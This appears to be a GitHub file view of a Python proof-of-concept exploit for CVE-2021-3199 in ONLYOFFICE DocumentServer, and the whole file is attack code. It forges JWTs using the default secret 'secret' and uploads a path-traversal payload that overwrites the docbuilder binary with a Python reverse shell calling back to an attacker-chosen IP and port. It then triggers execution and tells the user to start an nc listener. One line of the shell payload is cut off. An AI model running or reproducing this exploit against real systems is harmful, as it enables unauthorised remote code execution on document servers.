

...

[poc\\_exploits](#) / [CVE-2021-3199](#) / [poc\\_uploadImageFile.py](#) / [<> Jump to](#) ▾

History

1 contributor

...

```

1 import jwt
2 import requests
3 import json
4 import argparse
5
6 from datetime import datetime, timedelta
7
8 JWT_SECRET = 'secret'
9 JWT_ALGORITHM = 'HS256'
10 JWT_EXP_DELTA_SECONDS = 10800
11
12 bash_reverse_shell = '''
13 export RHOST="{ }";export RPORT={};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (
14 ...
15
16 def parse_args():
17     parser = argparse.ArgumentParser(description='')
18
19     parser.add_argument('-t', '--target-path', type=str,
20         default='/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder', help='Path to a target file')
21     parser.add_argument('--ri', '--rev-ip', type=str,
22         help='Reverse shell server IP address')
23     parser.add_argument('--rp', '--rev-port', type=int,
24         help='Reverse shell server port')
25     parser.add_argument('--dsi', '--ds-ip', type=str,
26         help='DocumentServer IP address')
27     parser.add_argument('--dsp', '--ds-port', type=int,
28         help='DocumentServer port')
29     parser.add_argument('--u', '--url', type=str,
30         help='URL to an external file (any file, need only valid URL)')
31
32     args = parser.parse_args()
33     return args
34
35
36 def upload_image_file(
37     tanger_ip, target_port,
38     docid, userid, index, buffer
39 ):
40
41     url = f'http://{tanger_ip}:{target_port}/upload/{docid}/{userid}/{index}'
42
43     jwt_payload = {
44         'exp': datetime.utcnow() + timedelta(seconds=JWT_EXP_DELTA_SECONDS),
45         'document': {
46             'key': docid,
47             'ds_encrypted': 'yeasssi!'
48         },
49         'editorConfig': {
50             'user': {
51                 'id': userid
52             }
53         },
54     }
55
56     jwt_token = jwt.encode(jwt_payload, JWT_SECRET, JWT_ALGORITHM)
57
58     resp = requests.post(url,
59         headers={'Authorization': 'Bearer {}'.format(jwt_token.decode('utf-8'))},
60         data=buffer
61     )
62
63     print('resp = {}'.format(resp))
64     return resp
65
66
67 def gen_buffer(path_from_var, file):
68     enc_pattern = 'ENCRYPTED;'
69     format_str = '/./.././.././.././.././..' + path_from_var + ';'
70
71     return enc_pattern + format_str + file
72
73
74 def gen_reverse_shell(ip, port):
75     return bash_reverse_shell.format(ip, str(port))
76
77
78 def trigger(target_ip, target_port, ext_url):

```

```

79     url = f'http://{target_ip}:{target_port}/docbuilder'
80
81     jwt_payload = {
82         'exp': datetime.utcnow() + timedelta(seconds=JWT_EXP_DELTA_SECONDS),
83         'url': ext_url
84     }
85
86     jwt_token = jwt.encode(jwt_payload, JWT_SECRET, JWT_ALGORITHM)
87
88     body = json.dumps({'token': jwt_token.decode('utf-8')})
89
90     resp = requests.post(url,
91                         data=body
92     )
93
94     print('resp = {}'.format(resp))
95     return resp
96
97
98 if __name__ == '__main__':
99     args = parse_args()
100     rev_shell_ip, rev_shell_port = args.rev_ip, args.rev_port
101     target_path = args.target_path
102     target_ip, target_port = args.ds_ip, args.ds_port
103     ext_url = args.url
104
105     print('[!] Don\'t forget to open reverse shell')
106     print('For example: nc -l -p 31337 0.0.0.0')
107     print()
108
109     print('[*] Generating reverse shell script...')
110     rev_shell = gen_reverse_shell(rev_shell_ip, rev_shell_port)
111
112     print('[*] Generating malicious file...')
113     buffer = gen_buffer(target_path, rev_shell)
114
115     print('[*] Uploading file with path traversal bug...')
116     upload_image_file(
117         target_ip, target_port,
118         '12345', 'USER', '123', buffer
119     )
120
121     print('[*] Triggering its activity...')
122     trigger(target_ip, target_port, ext_url)
123
124     print('[*] Done.')

```